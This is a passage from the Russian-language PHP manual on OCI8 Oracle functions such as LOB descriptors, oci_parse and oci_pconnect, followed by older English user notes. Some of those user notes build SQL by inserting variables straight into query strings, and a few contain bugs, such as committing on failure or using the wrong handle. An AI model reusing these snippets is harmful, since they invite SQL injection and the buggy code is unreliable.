oci_free_statement($stmt);
oci_close($conn);
?>
<?php
/* Данный скрипт реализует загрузку файлов в LOB-столбцы
* HTML-форма для скрипта выглядит примерно так:
* <form action="upload.php" method="post" enctype="multipart/form-data">
* <input type="file" name="lob_upload" />
* ...
*/
if (!isset($lob_upload) || $lob_upload == 'none'){
?>
<form action="upload.php" method="post" enctype="multipart/form-data">
Загрузить файл: <input type="file" name="lob_upload" /><br />
<input type="submit" value="Загрузить" /> - <input type="reset" value="Сбросить" />
</form>
<?php
} else {

// $lob_upload содержит временное имя загруженного файла

// смотрите также раздел особенностей загрузки файлов,
// если необходимо реализовать безопасную загрузку

$conn = oci_connect($user, $password);
$lob = oci_new_descriptor($conn, OCI_D_LOB);
$stmt = oci_parse($conn, "insert into $table (id, the_blob)
values(my_seq.NEXTVAL, EMPTY_BLOB()) returning the_blob into :the_blob");
oci_bind_by_name($stmt, ':the_blob', $lob, -1, OCI_B_BLOB);
oci_execute($stmt, OCI_DEFAULT);
if ($lob->savefile($lob_upload)){
oci_commit($conn);
echo "Blob успешно загружен\n";
}else{
echo "Не удалось загрузить Blob\n";
}
$lob->free();
oci_free_statement($stmt);
oci_close($conn);
}
?>

Пример #2 Пример использования oci_new_descriptor()

<?php
/* Вызов хранимой процедуры PL/SQL, параметрами которой являются объекты CLOB
* Пример PL/SQL процедуры:
*
* PROCEDURE save_data
* Имя аргумента Тип In/Out По умолчанию?
* ------------------------------ ----------------------- ------ ------------
* KEY NUMBER(38) IN
* DATA CLOB IN
*
*/

$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "begin save_data(:key, :data); end;");
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':key', $key);
oci_bind_by_name($stmt, ':data', $clob, -1, OCI_B_CLOB);
$clob->write($data);
oci_execute($stmt, OCI_DEFAULT);
oci_commit($conn);
$clob->free();
oci_free_statement($stmt);
?>

Смотрите также

  • oci_bind_by_name() - Прикрепляет переменную PHP к соответствующей метке в SQL-выражении

User Contributed Notes

Mike 15-May-2012 08:46
If you're passing a clob variable to oracle stored procedure, you could:

<?php
$qry = 'begin my_sp(:largetext); end;';
$stmt = oci_parse($conn, $qry); //definition of $conn is not included here
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ":largetext", $clob, -1, OCI_B_CLOB);
$clob->writetemporary($mylargedata);
oci_execute($stmt);
$clob->free();
oci_free_statement($stmt);
?>

Hopefully this will help!
ajitsingh4u at gmail dot com 09-May-2008 06:31
<?php
// calling stored procedure to get clob data type (we use to get xml from oracle)

error_reporting(E_ALL ^ E_NOTICE);

$conn = oci_connect($user, $password);

$sql = "BEGIN sp_employee_xml_data_select(:result); END;";
$stmt = oci_parse($conn , $sql);

$objClob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':result', $objClob, -1, OCI_B_CLOB);

oci_execute($stmt, OCI_DEFAULT);
$xmlData = $objClob->load($result);

$objClob->free();
oci_free_statement($stmt);

echo $xmlData;

?>
Ben Hubbard ben at vonik dot com 07-Apr-2006 09:57
Here is another example of how to insert a BLOB into table using a PL/SQL function.

Oracle Database Code:

create table blob_table ( the_blob blob);

create or replace function insert_blob(out_blob out blob)
    return integer is
    begin
       insert into blob_table values (EMPTY_BLOB())
         return the_blob into out_blob;
       return 0; /* Success */
    end insert_blob;

PHP Code:

<?php
  $iResult = -1;
  $strTestData = 'Testing 123';
  $conn = oci_connect($user, $password);
  $stmt = oci_parse($conn, "begin :RES := insert_blob(:OUT_BLOB); end;");

  $objBlob = oci_new_descriptor($conn, OCI_D_LOB);
  oci_bind_by_name($stmt, ":RES", $iResult);
  oci_bind_by_name($stmt, ":OUT_BLOB", $objBlob, -1, OCI_B_BLOB);
  oci_execute($stmt, OCI_DEFAULT);
  $objBlob->write($strTestData);
  oci_commit($conn);
  $objBlob->free();
  oci_free_statement($stmt);
?>
kirt at diagonalsoftware dot com 27-Jul-2005 07:43
Here is an example of retrieving a CLOB as an output parameter from a stored procedure. This is a bit hack-y and maybe there's a cleaner way to do this, but I couldn't find one. The following definitely works with Oracle 9:

// the query to call the procedure, which includes declaring the
// output parameter and assigning the result to a variable to be bound.
$qry = '
declare clob_out clob;
begin
  myprocedure(someparam_in, clob_out);
  :myclob := clob_out;
end;
';

// parse the query and bind the 'myclob' variable
$sth = OCIParse($conn,$qry);
$myclob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($sth,":myclob",$myclob,-1,OCI_B_CLOB);

OCIExecute($sth);

// display the results
echo $myclob->load();
<Serg Petrenko> pserg at inkfrog dot com 08-Jun-2005 09:22
How to insert big XML data as CLOB into table with XMLType field.

<?php

//CREATE TABLE sometable(
//id number(8) not null,
//record XMLType
//) XMLTYPE COLUMN record STORE AS OBJECT RELATIONAL
//XMLSCHEMA "someschema" ELEMENT "some_element";
//

$sql = "INSERT INTO sometable(id, record) VALUES(some_sequqnce.nextval, sys.xmltype.createxml(:rec)) RETURNING ID INTO :rid";
$stmt = OCIParse($ora_conn,$sql);
$clob = OCINewDescriptor($ora_conn, OCI_D_LOB);
$rowid = OCINewDescriptor($ora_conn,OCI_D_ROWID);
OCIBindByName($stmt, ':rec', &$clob, -1,OCI_B_CLOB);
OCIBindByName($stmt, ':rid', $rowid, -1);
$clob->WriteTemporary($xml,OCI_TEMP_CLOB);
$success = OCIExecute($stmt,OCI_DEFAULT);
if(!$success) {
OCICommit($ora_conn);
}
OCIFreeStatement($stmt);
OCIFreeDesc($lob);

?>

I hope it will help :)
cyrill@_malevanov_dot_spb_dot_ru 10-May-2004 01:05
Passing CLOB to stored procedure and retrieve CLOB too (function lobinout(a in clob) return clob)

<?
    error_reporting(1+2+4+8);
    $conn = OCILogon('batdtd', 'batdtd', 'batxml');

    $lobin = OCINewDescriptor($conn, OCI_D_LOB);
    $lobout = OCINewDescriptor($conn, OCI_D_LOB);

    $stmt = OCIParse($conn, "declare rs clob; begin :rs := lobinout(:par); end;");
    $lob_data = 'abcdefgh';

    echo "binding lobin...";
    OCIBindByName($stmt, ':par', $lobin, -1, OCI_B_CLOB);

    echo "done<br>binding rs...";

    OCIBindByName($stmt, ':rs', $lobout, -1, OCI_B_CLOB);

    echo "done<br>writing temp lob...";
             // here we pass data to func
    $lobin -> WriteTemporary($lob_data);
    echo "done<br>executing...";

    OCIExecute($stmt, OCI_DEFAULT);
             // here we load data returned from func
    echo "done<br>rs = ".$lobout->load();
    OCICommit($conn);
    $lobin -> free();
    $lobout -> free();
    OCIFreeStatement($stmt);
    OCILogoff($conn);
?>
cjbj at hotmail dot com 16-Mar-2004 10:55
In PHP5 the way Example 2 passes a CLOB bind variable as an input
parameter to a PL/SQL procedure can be extended to BLOBs.

The critical change is:

    OCIBindByName($stmt, ':data', $blob, -1, OCI_B_BLOB);
    $blob->WriteTemporary($data, OCI_B_BLOB);

This doesn't work for me in PHP4.  I believe it is because the
implementation of OCIWriteTemporaryLob() always binds as a CLOB.
(This is true as of php4-STABLE-200403170230).  In PHP5 the interface
has changed and a type parameter is permitted.
Nathan Rogers 05-Nov-2003 03:35
I found another method of inserting/updating lob data.  It works the same was as passing lob parameters to a stored procedure and avoids the need for a RETURNING clause.
    $lob = OCINewDescriptor($conn, OCI_D_LOB);
    $stmt = OCIParse($conn,"insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, :the_blob)");
    OCIBindByName($stmt, ':the_blob', &$lob, -1, OCI_B_BLOB);
    $lob->WriteTemporary($data);
    OCIExecute($stmt, OCI_DEFAULT);
    $lob->close();
    $lob->free();
    OCICommit($conn);

There are some cases involving triggers where you can't use a RETURNING clause, so this method can come in handy.  The case where I needed it was updating a view that had an instead-of update trigger.
Maxwell_Smart (at) ThePentagon (dot) com 23-Sep-2003 02:13
Just a note. When INSERTing a CLOB, if a VALUES clause is used, Oracle notes: You cannot initialize an internal LOB attribute in an object with a value other than empty or null. That is, you cannot use a literal.

That's why all the examples here INSERT an EMPTY_CLOB(), and use RETURNING to grab the pointer.

However, a CLOB can also be INSERTed via a SELECT statement, and that won't require any descriptors.

Example:

$Clob = Str_Replace("'", "''", $Clob);

OCIParse($DB, "INSERT INTO My_Table (My_Clob) SELECT '$Clob' FROM Dual");

This, of course, allows the use of a WHERE clause as well.
tca at engineer dot com 25-Oct-2002 01:33
Two examples of retrieving CLOBs from the database.  They are almost identical.  The first is using a package(and cursor) which is how I interface to Oracle at work, and the second is using straight SQL, which most people post examples in.

I also convert the case from upper to lower, since that is how I prefer to work with assoc arrays...

Instead of using the get_class() function you could use the OCIColumnType() function which (in this case) would return 'CLOB' as a result...

/**
* Example 1
*
* Using a PL/SQL package and cursor
*
*/
$cursor=':p_cur';
$sql2="begin clobPackage.getClob($cursor); end;";
$curs=OCINewCursor($conn);
$stmt=OCIParse($conn,$sql2);
OCIBindByName($stmt,$cursor,&$curs,-1,OCI_B_CURSOR);
OCIExecute($stmt,OCI_DEFAULT);
OCIExecute($curs,OCI_DEFAULT);
$x=0;
while(OCIFetch($curs)){
  $cols=OCINumCols($curs);
  for($i=1;$i<=$cols;$i++){
    $column_name=OCIColumnName($curs,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

/**
* Example 2
*
* Using a SELECT
*
*/
$query="SELECT a_num, a_clob FROM clob_test";
$stmt=OCIParse($conn,$query);
OCIExecute($stmt,OCI_DEFAULT);
$x=0;
while(OCIFetch($stmt)){
  $ncols=OCINumCols($stmt);
  for($i=1;$i<=$ncols;$i++){
    $column_name=OCIColumnName($stmt,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

I hope someone finds this useful.

Cheers,
Keith.
sozturk at emediamillworks dot com 09-Apr-2002 03:30
I had the same problem with updating the lobs with shorter content as in one of the notes above. The addition of "\0" at the end of the replacement text didn't help either. But the following worked perfectly:

$sql = "UPDATE sometable SET lob_col = EMPTY_LOB() WHERE key_col = $key RETURNING lob_col INTO :lob";
$stmt = OCIParse($conn,$sql);
$lob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($stmt,':lob',&$lob,-1,OCI_B_BLOB);
OCIExecute($stmt,OCI_DEFAULT);
$lob->save($sometext);
$lob->free();
aidanpeiser at yahoo dot com 27-Mar-2002 11:12
another way to display your clob details !

    $query = "select * from Your_clob_table";
    $stmt = OCIParse($conn, $query);
    ociexecute($stmt);

        while ( OCIFetch($stmt))
        {
         $lob = OCIResult($stmt,"CLOB_MESSAGE");
         $CLOB_MESSAGE = $lob->load();
         echo $CLOB_MESSAGE;
        }

this works,
moom_mong at yahoo dot com 18-Dec-2001 10:54
To read a lob, other way:

$sql = OCIParse("select * from table_with_lob_field");
OCIExecute($sql, OCI_DEFAULT);
while ( OCIFetch($sql)) {
 $o = ociresult($sql,"loc_field_name");
 $loc_field_name = $o->load();
 print $loc_field_name;
};
jcd at iddg dot com 03-Mar-2000 02:42
[Editor's note: don't use '&' for parameters in bind calls in PHP 5]

The code up above is somewhat correct... here's an example of how I got a CLOB to work

<?php
function insert_adinfo($AdInfoID, $MagazineType, $Publish, $DatePost, $BodyText)
{
   global $db;

    // Insert record into database
    $clob = OCINewDescriptor($db, OCI_D_LOB);
    $stmt = OCIParse($db,"insert into tblAdInfo values ($AdInfoID,                  $MagazineType, '$Publish', to_date('$DatePost', 'YYYY-MM-DD'),                  EMPTY_CLOB()) returning BodyText into :the_blob");
    OCIBindByName($stmt, ':the_blob', &$clob, -1, OCI_B_CLOB);
    OCIExecute($stmt, OCI_DEFAULT);
    if($clob->save($BodyText)){
        OCICommit($db);
    }else{
        echo "Problems: Couldn't upload Clob\n";
    }

   OCIFreeDescriptor($clob);
   OCIFreeStatement($stmt);
}
?>


Возвращает количество полей в результате запроса

  • « oci_new_descriptor
  • oci_num_rows »
  • PHP Manual
  • OCI8 Функции
  • Возвращает количество полей в результате запроса

oci_num_fields

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_num_fields — Возвращает количество полей в результате запроса

Описание

oci_num_fields(resource $statement): int

Получает число столбцов в запросе, заданном в statement.

Список параметров

statement

Идентификатор допустимого OCI запроса.

Возвращаемые значения

Возвращает число затронутых строк в виде целого числа (int).

Примеры

Пример #1 Пример использования oci_num_fields()

<?php

// Создате таблицу:
// CREATE TABLE mytab (id NUMBER, quantity NUMBER);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // используйте OCI_DESCRIBE_ONLY, если не получаете данных

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
echo oci_field_name($stid, $i) . " " . oci_field_type($stid, $i) . "<br>\n";
}

// Выведет:
// ID NUMBER
// QUANTITY NUMBER

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

jnield at impole dot com 18-Nov-1999 07:43
The following is not immediately obvious:

If you need the number of columns in a REF CURSOR returned from a PL/SQL procedure, you need to use OCINumColumns() on the cursor handle returned by OCINewCursor after it is bound and executed, not the statement handle. Same applies for OCIColumnName() and friends.


Возвращает количество строк, изменённых в процессе выполнения запроса

  • « oci_num_fields
  • oci_parse »
  • PHP Manual
  • OCI8 Функции
  • Возвращает количество строк, изменённых в процессе выполнения запроса

oci_num_rows

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_num_rows — Возвращает количество строк, изменённых в процессе выполнения запроса

Описание

oci_num_rows(resource $statement): int|false

Возвращает число строк, затронутых в процессе выполнения запроса.

Список параметров

statement

Идентификатор допустимого OCI запроса.

Возвращаемые значения

Возвращает число затронутых строк в виде integer или false в случае возникновения ошибки

Примеры

Пример #1 Пример использования oci_num_rows()

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "create table emp2 as select * from employees");
oci_execute($stid);
echo oci_num_rows($stid) . " строк вставлено.<br />\n";
oci_free_statement($stid);

$stid = oci_parse($conn, "delete from emp2");
oci_execute($stid, OCI_DEFAULT);
echo oci_num_rows($stid) . " строк удалено.<br />\n";
oci_commit($conn);
oci_free_statement($stid);

$stid = oci_parse($conn, "drop table emp2");
oci_execute($stid);
oci_free_statement($stid);

oci_close($conn);

?>

Примечания

Замечание:

Функция не возвращает количество строк в результате выражения SELECT! Для запросов SELECT oci_num_rows() вернёт количество строк, которые были считаны в буфер с помощью функций oci_fetch*().

User Contributed Notes

vihanga dot kule99 at gmail dot com 07-Jul-2023 08:57
The `oci_num_rows()` function is used to retrieve the number of rows affected or returned by a query executed with Oracle Database using the OCI8 extension. Here's an explanation of how `oci_num_rows()` works:

1. Syntax:
  php
   oci_num_rows($statement);

2. Parameters:
  $statement: This parameter represents the Oracle statement handle returned by `oci_parse()` and executed using `oci_execute()`. It refers to the executed query or statement for which you want to get the number of rows.

3. Return Value:
 The `oci_num_rows()` function returns the number of rows affected or returned by the executed query. It returns an integer value representing the count of rows.

4. Usage:
 After executing a query with `oci_execute()`, you can use `oci_num_rows()` to determine the number of rows affected or returned by the query.
   - It is commonly used in scenarios where you need to know the count of rows for result sets or the count of affected rows after an INSERT, UPDATE, or DELETE operation.

example that demonstrates the usage of `oci_num_rows()`:

php
$sql = "SELECT * FROM employees";
$statement = oci_parse($connection, $sql);
oci_execute($statement);

// Get the number of rows returned by the query
$numRows = oci_num_rows($statement);
echo "Number of rows: " . $numRows;

this example, we execute a SELECT query to fetch records from the "employees" table. After executing the query with `oci_execute()`, we use `oci_num_rows()` to retrieve the number of rows returned by the query and store it in the `$numRows` variable. Finally, we echo the count of rows.
pluueer at hotmail dot com 20-Apr-2010 02:51
If you want to return te number of rows without fetching all data it might by more efficient to use this code (correct me if I'm wrong):

$sql_query = 'SELECT COUNT(*) AS NUMBER_OF_ROWS FROM (' . $your_query . ')';

$stmt= oci_parse($conn, $sql_query);

oci_define_by_name($stmt, 'NUMBER_OF_ROWS', $number_of_rows);

oci_execute($stmt);

oci_fetch($stmt);

echo $number_of_rows;


Подготавливает запрос к выполнению

  • « oci_num_rows
  • oci_password_change »
  • PHP Manual
  • OCI8 Функции
  • Подготавливает запрос к выполнению

oci_parse

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_parse — Подготавливает запрос к выполнению

Описание

oci_parse(resource $connection, string $sql): resource|false

Подготавливает sql к выполнению, используя соединение connection и возвращает идентификатор выражения, который может быть далее использован функциямиoci_bind_by_name(),oci_execute() и другими.

Идентификаторы выражений могут быть освобождены функцией oci_free_statement() или установкой переменной в null.

Список параметров

connection

Идентификатор соединения Oracle, полученный из функций oci_connect(), oci_pconnect() или oci_new_connect().

sql

Запрос SQL или PL/SQL.

SQL-запросы не должны заканчиваться точкой с запятой (";"). PL/SQL-запросы должны оканчиваться точкой с запятой (";").

Возвращаемые значения

Возвращает дескриптор выражения в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_parse() с SQL-запросами

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

// Парсинг запроса. Обратите внимание на отсутствие точки запятой в конце SQL-запроса
$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Пример #2 Пример использования oci_parse() с PL/SQL-запросами

<?php

/*
Перед запуском PHP-скрипта, создайте хранимую процедуру в
SQL*Plus или SQL Developer:

CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
BEGIN
p2 := p1 * 2;
END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

// При парсинге PL/SQL запросов необходимо наличие точки с запятой в конце строки
$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n"; // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Примечания

Замечание:

Эта функция не проверяет синтаксис запроса sql. Единственный способ проверить правильность SQL или PL/SQL-запроса sql - это выполнить его.

Смотрите также

  • oci_execute() - Выполняет подготовленное выражение
  • oci_free_statement() - Освобождает ресурсы, занимаемые курсором или SQL-выражением

User Contributed Notes

interloper at ukr dot net 02-Sep-2015 03:06
If you want using PL/SQL in variable:

<?php
$query = "begin null;  end;";
$stid = oci_parse($conn, "$query");
 ?>

or

<?php
$stid = oci_parse($conn, "begin null;  end;");
?>
falundir at gmail dot com 08-Feb-2011 05:38
When you want to call stored function (and want to read its result) which executes DML queries (insert, update, delete) inside its body you can't use "select your_stored_function(:param1, :param2) from dual" because you will receive "ORA-14551: cannot perform a DML operation inside a query" error.

In order to call such function and get its result you need to wrap it into nested procedure with OUT parameter like this:

DECLARE
  PROCEDURE caller(return_value OUT NUMBER) AS
  BEGIN
    return_value := your_stored_function(:param1, :param2);
  END;
BEGIN
  caller(:return_value);
END;

and bind to :return_value variable to get the result of function.
michael dot virnstein at brodos dot de 04-Dec-2007 08:43
A neat way to parse a query only once per script, if the query is done inside a function:

<?php
function querySomething($conn, $id)
{
    static $stmt;

    if (is_null($stmt)) {
        $stmt = oci_parse($conn, 'select * from t where pk = :id');
    }

    oci_bind_by_name($stmt, ':id', $id, -1);

    oci_execute($stmt, OCI_DEFAULT);

    return oci_fetch_array($stmt, OCI_ASSOC);

}

?>

With the static variable, the statment handle isn't closed after the function has terminated. Very nice for functions that are called e.g. in loops. Unfortunately this only works for static sql. If you have dynamic sql, you can do the following:

<?php

function querySomething($conn, $data)
{
    static $stmt = array();

    $first = true;

    $query = 'select * from t';

    foreach ($data as $key => $value) {
        if ($first) {
            $first = false;
            $query .= ' where ';
        } else {
            $query .= ' and ';
        }

        $query .= "$key = :b$key";
    }

    $queryhash = md5($query);

    if (is_null($stmt[$queryhash])) {
        $stmt[$queryhash] = oci_parse($conn, $query);
    }

    foreach ($data as $key => $value) {
        // don't use $value, because we bind memory addresses here.
        // this would result in every bind pointing at the same value after foreach
        oci_bind_by_name($stmt[$queryhash], ":b$key", $data[$key], -1);
    }

    oci_execute($stmt[$queryhash], OCI_DEFAULT);

    return oci_fetch_array($stmt[$queryhash], OCI_ASSOC);

}

?>
kurt at kovac dot ch 04-May-2004 08:40
For those that are having trouble with error checking, i have noticed on a lot of sites that people are trying to check the statement handle for error messages with OCIParse. Since the statement handle ($sth) is not created yet, you need to check the database handle ($dbh) for any errors with OCIParse. For example:

instead of:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($stmt);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

use:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($conn);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

Hope this helps someone.
egypt at nmt dot edu 14-Oct-2003 07:31
Whereas MySQL doesn't care what kind of quotes are around a LIKE clause, ociexecute gives the error:
    ociexecute(): OCIStmtExecute: ORA-00904: "NM": invalid identifier
for the following.
<?php
$sql  = "SELECT * FROM addresses "
      . "WHERE state LIKE \"NM\"";  // error!
$stmt = ociparse($conn, $sql);
ociexecute($stmt);
?>

it's fine if you just use single quotes:
    . "WHERE state LIKE 'NM'";
but i think it's interesting that ociparse doesn't say anything


Изменяет пароль пользователя Oracle

  • « oci_parse
  • oci_pconnect »
  • PHP Manual
  • OCI8 Функции
  • Изменяет пароль пользователя Oracle

oci_password_change

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_password_change — Изменяет пароль пользователя Oracle

Описание

oci_password_change(
resource $connection,
string $username,
string $old_password,
string $new_password
): bool
oci_password_change(
string $database_name,
string $username,
string $old_password,
string $new_password
): resource

Изменяет пароль пользователя, указанного в username.

Функция oci_password_change() особенно полезна для скриптов PHP командной строки или при использовании непостоянных соединений во всем приложении PHP.

Список параметров

connection

Идентификатор соединения, возвращаемый функцией oci_connect() или oci_pconnect().

username

Имя пользователя Oracle.

old_password

Старый пароль.

new_password

Новый пароль.

database_name

Имя базы данных.

Возвращаемые значения

Если указан параметр database_name, oci_password_change() возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Если указан параметр connection, oci_password_change() возвращает ресурс соединения в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_password_change() с изменением пароля уже подключённого пользователя

<?php

$dbase = 'localhost/orcl';
$user = 'cj';
$current_pw = 'welcome';
$new_pw = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
oci_password_change($c, $user, $current_pw, $new_pw);
echo "Новый пароль : " . $new_pw . "\n";

?>

Пример #2 Пример использования oci_password_change() с подключением и изменением пароля одновременно

<?php

$dbase = 'localhost/orcl';
$user = 'cj';
$current_pw = 'welcome';
$new_pw = 'geelong';

$c = oci_pconnect($user, $current_pw, $dbase);
if (!$c) {
$m = oci_error();
if ($m['code'] == 28001) { // "ORA-28001: the password has expired"
// Подключение и сброс пароля одновременно
$c = oci_password_change($dbase, $user, $current_pw, $new_pw);
if ($c) {
echo "Новый пароль : " . $new_pw . "\n";
}
}
}

if (!$c) { // Ошибка не совпадала с 28001, или не получилось изменить пароль
$m = oci_error();
trigger_error('Не удалось подключиться к базе данных: '. $m['message'], E_USER_ERROR);
}

// Использование подключения $c
// ...

?>

Примечания

Замечание:

Изменение пароля с помощью этой функции или непосредственно в Oracle должно выполняться аккуратно, поскольку PHP-приложение может продолжать использовать в постоянных соединениях данные аутентификации последнего удачного подключения, которые уже устарели. Наилучшим решением может быть перезапуск всех веб-серверов после смены пароля.

Замечание:

При обновлении библиотеки клиента Oracle или базы данных от версии установки до версии 11.2.0.3 и выше функция oci_password_change() может вернуть ошибку "ORA-1017: invalid username/password" (Неверные имя пользователя/пароль), если версии и клиента и сервера обновлены в одно время.

Замечание:

Второй набор параметров функции oci_password_change() доступен начиная с версии OCI8 1.1.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает постоянное соединение с сервером Oracle

  • « oci_password_change
  • oci_register_taf_callback »
  • PHP Manual
  • OCI8 Функции
  • Устанавливает постоянное соединение с сервером Oracle

oci_pconnect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_pconnect — Устанавливает постоянное соединение с сервером Oracle

Описание

oci_pconnect(
string $username,
string $password,
?string $connection_string = null,
string $encoding = "",
int $session_mode = OCI_DEFAULT
): resource|false

Создаёт постоянное соединение с сервером Oracle и выполняет аутентификацию.

Постоянные соединения кешируются и повторно используются при следующих запросах, в результате снижаются накладные расходы при каждой загрузке страницы; типичное приложение PHP имеет одно постоянное подключение к серверу PHP, реализованное дочерним процессом Apache (или процессом PHP FPM). Дополнительную информацию смотрите в разделе Работа с соединениями OCI8 и Connection Pooling.

Список параметров

username

Имя пользователя Oracle.

password

Пароль пользователя username.

connection_string

Содержит экземпляр Oracle для подключения. Это может быть » Easy Connect string, или Connect Name из файла tnsnames.ora, или имя локального экземпляра Oracle.

Если не указано отдельно или null, PHP использует переменные окружения, такие как TWO_TASK (на Linux) или LOCAL (на Windows) и ORACLE_SID для определения экземпляра Oracle для соединения.

Для использования метода Easy Connect, PHP должен быть слинкован с клиентскими библиотеками версии Oracle 10g или старше. Easy Connect string для Oracle 10g принимает следующую форму: [//]host_name[:port][/service_name]. Начиная с Oracle 11g синтаксис таков: [//]host_name[:port][/service_name][:server_type][/instance_name]. В Oracle 19c были введены дополнительные параметры, включая настройки времени ожидания и проверки активности. Обратитесь к документации Oracle. Названия служб могут быть определены с помощью запуска Oracle утилиты lsnrctl status на сервере базы данных.

Файл tnsnames.ora может находиться в поисковом пути Oracle Net, который включает /your/path/to/instantclient/network/admin, $ORACLE_HOME/network/admin и /etc. В качестве альтернативного варианта можно установить TNS_ADMIN таким образом, чтобы путь $TNS_ADMIN/tnsnames.ora был читаемым. Убедитесь, что веб-сервер имеет доступ к этому файлу.

encoding

Определяет кодировку, используемую клиентскими библиотеками Oracle. Данная кодировка не обязательно должна совпадать с кодировкой, используемой в самой базе данных. Если она не совпадает, Oracle сделает все возможное для конвертирования данных из- и в данную кодировку. В зависимости от используемых кодировок это может не всегда давать приемлемые результаты. Преобразование также создаёт некоторые дополнительные временные затраты.

Если кодировка не указана, клиентские библиотеки Oracle будут определять её из переменной окружения NLS_LANG.

Передача этого параметра может уменьшить время затрачиваемое на соединение.

session_mode

Этот параметр доступен начиная с версии PHP 5 (PECL OCI8 1.1) и принимает следующие значения: OCI_DEFAULT, OCI_SYSOPER и OCI_SYSDBA. Если были указаны OCI_SYSOPER или OCI_SYSDBA, данная функция попытается установить привилегированное соединение, используя внешние данные авторизации. По умолчанию привилегированные соединения отключены. Чтобы их включить, необходимо установить oci8.privileged_connect в On.

В версии PHP 5.3 (PECL OCI8 1.3.4) появилось значение OCI_CRED_EXT. Оно указывает Oracle использовать внешнюю аутентификацию или аутентификацию с помощью операционной системы, что должно быть настроено в базе данных. Флаг OCI_CRED_EXT может быть использован только с именем пользователя "/" и пустым паролем. oci8.privileged_connect может принимать значение On или Off.

OCI_CRED_EXT может использоваться совместно с режимами OCI_SYSOPER и OCI_SYSDBA.

OCI_CRED_EXT не поддерживается в Windows по причинам безопасности.

Возвращаемые значения

Возвращает идентификатор подключения или false в случае возникновения ошибки.

Примеры

Пример #1 Простой пример для oci_pconnect() с использованием упрощённого синтаксиса подключения

<?php

// Подключение к XE сервису (т.е. базе данных) на локальной машине
$conn = oci_pconnect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Дополнительные примеры можно найти в описании функции oci_connect().

Примечания

Замечание: Продолжительность и максимальное количество постоянных соединений к серверу Oracle на каждый процесс PHP может быть изменено в следующих директивах: oci8.persistent_timeout, oci8.ping_interval и oci8.max_persistent.

Смотрите также

  • oci_connect() - Устанавливает соединение с базой данных Oracle
  • oci_new_connect() - Устанавливает новое соединение с сервером Oracle

User Contributed Notes

gotankersley at NOSPAM dot com 13-Jun-2012 02:29
Installed on CentOS 6.2, and had lots of trouble getting it to recognize tnsnames.ora.  The fix for me was:

1. Make sure apache is getting the TNS_ADMIN env variable by putting it in the /etc/init.d/httpd file:
 TNS_ADMIN=/usr/lib/oracle/11.2/client64/network/admin
 export PATH TNS_ADMIN

This can be debugging in PHP by <?php echo system('env'); ?> and by verifying that TNS_ADMIN is there.

